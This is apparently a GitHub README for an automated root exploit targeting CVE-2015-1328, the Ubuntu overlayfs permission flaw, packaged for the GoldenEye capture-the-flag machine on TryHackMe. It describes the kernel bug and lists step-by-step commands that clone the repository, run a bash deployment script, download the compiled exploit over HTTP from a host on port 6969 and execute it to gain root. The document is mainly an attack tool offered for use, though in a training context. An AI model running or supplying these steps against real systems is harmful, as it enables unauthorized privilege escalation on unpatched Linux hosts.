elit3pwner/cve-2015-1328-goldeneyeAutomated local privilege escalation exploit for CVE-2015-1328 targeting Ubuntu overlayfs, designed for CTF environments with a simple bash deployment script.
The overlayfs implementation in the linux (aka Linux kernel) package before 3.19.0-21.21 in Ubuntu through 15.04 does not properly check permissions for file creation in the upper filesystem directory, which allows local users to obtain root access by leveraging a configuration in which overlayfs is permitted in an arbitrary mount namespace.
Thanks to rebel
This is an automated exploit for CVE-2015-1328 for GoldenEye CTF from TryHackMe by default, gcc isn't available in that machine so, i configured the gcc to cc and accordingly ran the exploit to gain root privileges.
Installation
Just, Clone this repository -
$ git clone https://github.com/elit3pwner/CVE-2015-1328-GoldenEye.git
$ cd CVE-2015-1328-GoldenEye
$ chmod +x exploit.sh
$ bash exploit.sh
$ wget http://<target ip>:6969/exploit
$ chmod +x exploit
$ ./exploit